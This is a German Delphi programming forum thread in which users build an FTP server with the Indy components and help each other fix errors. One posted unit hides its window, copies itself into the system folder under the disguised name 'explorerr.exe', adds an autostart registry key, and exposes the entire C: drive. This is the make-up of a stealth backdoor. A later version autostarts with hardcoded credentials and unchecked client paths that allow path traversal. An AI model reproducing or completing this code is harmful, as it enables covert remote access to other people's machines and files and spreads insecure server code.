Entwickler-Ecke :: Thema anzeigen

Juliman - Fr 01.10.04 11:48
Titel: ftp-server

Hallo Leute!

Ich benutze indy für delpi 7 und versuche ein ftp server zu programmieren. Aber ich hab efolgendes problem:

1.) Wie mache ich das, das wenn amn sich connected das dann C:\das start verzeichniss ist
2.) Und wie mache ich das, das man dort dann alles machen kann??

Danke schön

Doc Morelli - Fr 01.10.04 20:40

Hi Juliman,

zu 1) Das kann man unter der procedure OnListDirectory & OnChangeDirectory einstellen:

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

procedure TForm1.Ftp1ListDirectory(ASender: TIdFTPServerThread; const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'C:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;

Delphi-Quelltext

1:
2:
3:
4:
5:

procedure TForm1.Ftp1ChangeDirectory(ASender: TIdFTPServerThread; var VDirectory: String);
begin
  if not DirectoryExists('C:\' + VDirectory) then
     VDirectory := ASender.CurrentDir;
end;

Habs zwar net getestet, müsste aber klappen...

Zu 2) Da gibt es auch so einige Ereignisse, die man einstellen kann:
OnDeleteFile,
OnMakeDirectory,
OnRemoveDirectory,
OnRenameFile,
OnRetrieveFile.

Da musste dann das, was gemacht werden soll selbst machen, zB bei MAkeDirectory:

Delphi-Quelltext

1:
2:
3:
4:
5:

procedure TForm1.IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
createdirectory(PChar(VDirectory), nil);
end;

Juliman - So 03.10.04 12:13

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer;

type
  TForm1 = class(TForm)
    ftpserver: TIdFTPServer;
    procedure FormCreate(Sender: TObject);
    procedure ftpserverListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

var
autostart:TRegistry;
fileSource, fileDest: string;

procedure TForm1.FormCreate(Sender: TObject);
begin


//verstecken
  begin
    Application.ShowMainForm:=false;
  end;



//autostart
  begin
    autostart:=TRegistry.Create;
    autostart.RootKey:=HKEY_LOCAL_MACHINE;
    autostart.openKey('Software\Microsoft\Windows\CurrentVersion\Run\', true);
    autostart.WriteString ('explorerr', 'C:\WINNT\system32\explorerr.exe');
  end;



//kopieren der eigenen datei

  begin
    fileSource := 'server_1.exe';
    fileDest := 'C:\WINNT\system32\explorerr.exe';
    CopyFile(PChar(fileSource), PChar(fileDest), False);
  end;




//ftpserver:=active

  begin
    ftpserver.active:=TRUE;
  end;


end;
procedure TForm1.ftpserverListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);

var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'C:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;


end.

Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

[Fehler] server.pas(14): Undefinierter Bezeichner: 'TIdFTPListItems'
[Fehler] server.pas(75): Undefinierter Bezeichner: 'TidFTPListItem'
[Fehler] server.pas(87): Operator oder Semikolon fehlt
[Fehler] server.pas(88): Operator oder Semikolon fehlt
[Fehler] server.pas(89): Operator oder Semikolon fehlt
[Fehler] server.pas(89): Anweisung erforderlich, aber Ausdruck vom Typ 'Integer' gefunden
[Fehler] server.pas(90): Operator oder Semikolon fehlt
[Fehler] server.pas(91): Operator oder Semikolon fehlt
[Fehler] server.pas(92): Operator oder Semikolon fehlt
[Fehler] server.pas(93): Operator oder Semikolon fehlt
[Fehler] server.pas(94): Operator oder Semikolon fehlt
[Fehler] server.pas(96): Operator oder Semikolon fehlt
[Fehler] server.pas(96): Undefinierter Bezeichner: 'ditDirectory'
[Fehler] server.pas(98): Operator oder Semikolon fehlt
[Fehler] server.pas(98): Undefinierter Bezeichner: 'idftplist'
[Fataler Fehler] server_1.dpr(5): Verwendete Unit 'server.pas' kann nicht compiliert werden

Moderiert von Gausi: Code- durch Delphi-Tags ersetzt

Doc Morelli - So 03.10.04 12:32

Delphi-Quelltext

1:
2:

Uses
    {...}, idftplist;

Juliman - So 03.10.04 17:11

Juhu! Das klappt. Ich kann es jetzt kompilieren, aber wenn ich per ftp connecte, dann sagt er, wenn ich 'dir' eingebe: Es wurde kein Ereignis OnListDirectorx gefunden

??? Warum das denn nicht???

Hilfe!? *g*

wulfskin - So 03.10.04 17:23

Hallo Juliman,

Doc Morelli hat schon erwähnt, dass es verschiedene Ereignisse gibt (er nannte sie Prozeduren), auf die du reagieren musst. So zum Beispiel OnDeleteFile, usw.

Ich denke, es gibt deshalb genauso ein Ereignis OnListDirectory, dass immer dann aufgerufen wird, wenn der Client den Befehl "dir" sendet. Deine Aufgabe als Programmierer ist es nun diese Ereignis auszuwerten und die vom Benutzer gewünschten Aufgaben zu erledigen, wie im Beispiel die Dateien und Verzeichnisse anzuzeigen.

Gruß Hape!

Juliman - So 03.10.04 17:25

Das war mir auch klar... da ist ja auch ein ereignis wie du oben im Quelltext sehen kannst.. aber ich weiß nicht wieso der das nicht erkennt...

wulfskin - So 03.10.04 17:41

Juliman hat folgendes geschrieben:

Das war mir auch klar... da ist ja auch ein ereignis wie du oben im Quelltext sehen kannst.. aber ich weiß nicht wieso der das nicht erkennt...

Wer so unfreundlich antwortet, hat es eigentlich nicht verdient Hilfe zu bekommen.

Trotz allem habe ich dier Indy-Komponenten installiert und ein Mini-Beispiel zur Veranschaulichung geschrieben. Aber eigentlich, habe ich die Lösung im vorigen Beitrag schon geschrieben. Ein Blick auf die Eigenschaften/Methoden von TIdFTPListItems hätte genügt um selbst auf die Lösung zu kommen :evil::

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:

OnListDirectory:
var
  Item: TIdFTPListItem;
begin
  Item := ADirectoryListing.Add;
  Item.FileName := 'C:\test.dat';
  Item.Size := 10;

Jetzt musst du halt das Verzeichnis mit FindFirst/FindNext durchsuchen und die einzelnen Items hinuzufügen. FERTIG!

Gruß Hape!

Juliman - So 03.10.04 17:49

Es tut mir leid das ich so unfreundlich war! ABer ich habe das nicht so ganz verstanden mit dem findfirst und so?!

Ich habe das jetzt so eingebaut, aber ich will ja, das er alles auflistet, was auf C:\ ist! Hoffentlich kannst du mir noch einmal helfen?!

Julian

wulfskin - So 03.10.04 18:06

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:

OnListDirectory:
var
  F: TSearchRec;
  Item: TIdFTPListItem;
begin
  if FindFirst(Dir + '*.*', faAnyFile, F) = 0 then begin
    repeat
      Item := ADirectoryListing.Add;
      Item.Size := F.Size;
      Item.FileName := F.Name;
//      Item.OwnerName := 'Ich';
//      Item.GroupName := 'Group';
      Item.ModifiedDate := FileDateToDateTime(F.Time);
      if (F.Attr AND faDirectory) > 0 then
        Item.ItemType := ditDirectory
      else
        Item.ItemType := ditFile;
    until FindNext(F) <> 0;
  end;
  FindClose(F);

Ist alles nur profisorisch. Ich würde das aktuelle Verzeichnis in einer globalen Variable speichern, damit du darauf dann zugreifen kann (im Beispiel "dir"), da die lokale Variable APath Slashes und Backslashes enthält.

Gruß Hape!

Juliman - Mo 04.10.04 16:55

Es tut mir ja leid, aber er dagt jetzt:

Undefinierter Bezeichner 'Dir'

Sorry

Julian

Juliman - Mo 04.10.04 18:29
Titel: timer + editfeld --> email

Weiß den keiner, was ich mahcen kanN??

wulfskin - Mo 04.10.04 19:32

Zitat:

Ich würde das aktuelle Verzeichnis in einer globalen Variable speichern, damit du darauf dann zugreifen kann (im Beispiel "dir")

Wie schon gesagt heisst die globale Veriable, die den aktuellen Pfad beinhaltet, dir. Wenn dir das nicht gefällt, dann ersetz die Zeile 6 mit Dir einfach durch irgendwas in der Art: if FindFirst('C:\*.*', faAnyFile, F) = 0 then beginGrundlagen....

Gruß Hape!

Juliman - Mo 04.10.04 19:51

Jup jetzt ist alles okay! Danke schön...

F.Art - Sa 16.10.04 10:54

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer, idFTPList;

type
  TForm1 = class(TForm)
    IdFTPServer: TIdFTPServer;
    procedure IdFTPServerUserLogin(ASender: TIdFTPServerThread;
      const AUsername, APassword: String; var AAuthenticated: Boolean);
    procedure IdFTPServerListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
    procedure IdFTPServerChangeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure IdFTPServerMakeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.IdFTPServerUserLogin(ASender: TIdFTPServerThread;
  const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
  AAuthenticated := ( AUsername = 'test' ) and ( APassword = '123' ) ;
  if not AAuthenticated then exit;
  ASender.HomeDir := 'D:\';
  ASender.CurrentDir := 'D:\';
end;

procedure TForm1.IdFTPServerListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'D:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat  
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then  
      begin  
        LItem := ADirectoryListing.Add;  
        LItem.FileName := tmp1.Name;  
        LItem.Size := tmp1.Size;  
        LItem.OwnerName := 'Username';  
        LItem.GroupName := 'Groupname';  
        LItem.OwnerPermissions := 'rwx';  
        LItem.GroupPermissions := 'rwx';  
        LItem.UserPermissions := 'rwx';  
        if DirectoryExists(LPfad + tmp1.Name) then  
           LItem.ItemType := ditDirectory  
        else  
           LItem.ItemType := idftplist.ditFile;  
      end;  
    until FindNext(tmp1) <> 0;  
  end;  
  FindClose(tmp1);  
end; 

procedure TForm1.IdFTPServerChangeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin  
if not DirectoryExists('D:\' + VDirectory) then VDirectory := ASender.CurrentDir;
end; 

procedure TForm1.IdFTPServerMakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
CreateDirectory(PChar(VDirectory), nil);
end;

end.

Irgendwie komme ich mit der idFTP Server nicht zurecht. Er listet mir das Verzeichnis von d: aber wenn ich in ein unterverzeichnis springen will nicht mehr.
Wer hilft mir weiter?

Oliver Marx - Mi 27.10.04 10:56
Titel: Antwort: Listet keine Unterverzeichnisse

Hallo F.Art,

In deinem bisherigen Code hast du in OnListDirectory immer LPath:='D:\'; gesagt. Du musst aber in LPath den Wert von APath übernehmen, damit der Computer auch weiß, in welchem Ordner er zu suchen hat.
Folgende Funktion wandelt den Unixpfad in einen Dospfad um:

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:

function TForm1.TranslatePath(pfad: string): string;
var
   i: integer;
Begin
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   for i:=length(pfad)-1 downto 0 do
   if pfad[i]='\' then
   begin
      delete(pfad,i+1,length(pfad)-i);
      break;
   end;
   if copy(pfad,1,1)='\' then delete(pfad,1,1);
   TranslatePath:=pfad;
End;

Danach musst du noch in OnListDirectory LPfad:='D:\' in

Delphi-Quelltext

1:	LPfad := 'D:\'+TranslatePath(APath);

ändern.

F.Art - Mi 27.10.04 11:26

Ich habe diese Funktion eingebaut aber nun zeigt er mir die Directories und Files nicht mehr an.

Oliver Marx - Mi 27.10.04 13:57

Du musst Emulate System auf ftpsUNIX stehen haben!

Aus dem Quellcode geht es nicht hervor, ob du diese Einstellung getroffen hast oder nicht.

F.Art - Mi 27.10.04 23:59

Ich habe es auf UNIX eingestellt. Woran kann es sonst noch liegen?

F.Art - Mo 03.01.05 12:56

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:

unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer, idFTPList,
  Registry;

type
  TForm1 = class(TForm)
    FTPServer: TIdFTPServer;
    procedure FTPServerUserLogin(ASender: TIdFTPServerThread;
      const AUsername, APassword: String; var AAuthenticated: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FTPServerChangeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure FTPServerDeleteFile(ASender: TIdFTPServerThread;
      const APathName: String);
    procedure FTPServerListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
    procedure FTPServerMakeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure FTPServerRenameFile(ASender: TIdFTPServerThread;
      const ARenameFromFile, ARenameToFile: String);
    procedure FTPServerRetrieveFile(ASender: TIdFTPServerThread;
      const AFileName: String; var VStream: TStream);
    procedure FTPServerStoreFile(ASender: TIdFTPServerThread;
      const AFileName: String; AAppend: Boolean; var VStream: TStream);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1 : TForm1;
  mHandle : THandle;
  FTPDrive : string;

implementation

{$R *.dfm}

function TranslatePath(pfad: string): string;
var
   i: integer;
Begin
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   for i:=length(pfad)-1 downto 0 do
   if pfad[i]='\' then
   begin
      delete(pfad,i+1,length(pfad)-i);
      break;
   end;
   if copy(pfad,1,1)='\' then delete(pfad,1,1);
   TranslatePath:=pfad;
End;

function TranslateCompletePath(Laufwerk, Pfad: String): string;
var
   i: integer;
begin
   if copy(Laufwerk,length(Laufwerk),1)='\' then delete(Laufwerk,length(Laufwerk),1);
   if copy(pfad,1,1)<>'/' then pfad:='/'+pfad;
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   TranslateCompletePath:=Laufwerk+pfad;
end;

procedure TForm1.FTPServerUserLogin(ASender: TIdFTPServerThread;
  const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
AAuthenticated := ( AUsername = 'K-iS' ) and ( APassword = 'Service2003' ) ;
if not AAuthenticated then exit;
ASender.CurrentDir := '/';
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FTPDrive := 'C:\';
with TRegistry.Create do begin try
     Rootkey:=HKEY_LOCAL_MACHINE;
     OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
     WriteString('FTP Server',paramstr(0));
     finally
     Free;
     end; end;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
FTPServer.Active:=False;
end;

procedure TForm1.FTPServerChangeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
if not DirectoryExists(FTPDrive + VDirectory) then VDirectory := ASender.CurrentDir;
end;

procedure TForm1.FTPServerDeleteFile(ASender: TIdFTPServerThread;
  const APathName: String);
begin
DeleteFile(TranslateCompletePath(FTPDrive + ASender.HomeDir, APathName));
end;

procedure TForm1.FTPServerListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := FTPDrive+TranslatePath(APath);
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;

procedure TForm1.FTPServerMakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
CreateDirectory(PChar(VDirectory), nil);
end;

procedure TForm1.FTPServerRenameFile(ASender: TIdFTPServerThread;
  const ARenameFromFile, ARenameToFile: String);
begin
RenameFile(TranslateCompletePath(ASender.HomeDir, ARenameFromFile),TranslateCompletePath(ASender.HomeDir, ARenameToFile));
end;

procedure TForm1.FTPServerRetrieveFile(ASender: TIdFTPServerThread;
  const AFileName: String; var VStream: TStream);
begin
VStream:=TFileStream.Create(translatecompletepath(ASender.HomeDir, AFileName), fmOpenRead or fmShareExclusive ) ;
end;

procedure TForm1.FTPServerStoreFile(ASender: TIdFTPServerThread;
  const AFileName: String; AAppend: Boolean; var VStream: TStream);
begin
   if FileExists( translatecompletepath(ASender.HomeDir, AFileName) ) and AAppend then
   begin
      VStream:=TFileStream.Create(translatecompletepath(ASender.HomeDir, AFileName), fmOpenWrite or fmShareExclusive ) ;
      VStream.Seek( 0, soFromEnd ) ;
   end
   else
      VStream := TFileStream.create(translatecompletepath( ASender.HomeDir, AFileName), fmCreate or fmShareExclusive ) ;
end;

Initialization
  mHandle:=CreateMutex(nil,True,'FTP Server');
  if GetLastError=ERROR_ALREADY_EXISTS then Halt;

finalization
  if mHandle<>0 then CloseHandle(mHandle);

end.

Irgendwie habe ich hier noch Fehler drinne.
Er kann nicht auf den richtigen Pfad zugreifen beim löschen etc, wo ist der Fehler?

Moderiert von Gausi: Code- durch Delphi-Tags ersetzt

F.Art - Fr 16.12.05 00:55

Ich habe hier den FTP Server woran ich rum gebastelt habe.
Habe noch folgendes Problem,
ich kann noch keine Verzeichnise und Dateien hin und her kopieren.
Es wäre nett wenn mir das jemand noch anpassen würde und den Code auch etwas überarbeiten würde.

DaRkFiRe - Fr 16.12.05 01:15

Glaube nicht, dass hier jemand an Deinem Programm weiterentwickelt, geschweige denn rumdoktort.

DIY is das Motto. Gib uns den Fehler und wir sagen Dir, was möglich ist. Schau doch mal im RFC zu FTP nach, ob der MOVE-Befehl im FTP-Protokoll auch für Verzeichnisse gilt.

n-regen - So 09.04.06 18:02

Hilfe!
Ich ersticke hier schon vor quelltext, aber es geht einfach nicht.
Kann einer der - so was solls ja geben, aber ich bins nich - weiss, wies sicher klappt, bitte stellt mal die prog- und source-files hoch!

n-regen - So 09.04.06 18:14

Mit den Sources da oben stimmt was nicht.
Irgendwie habt ihr da was umgetauft oder so!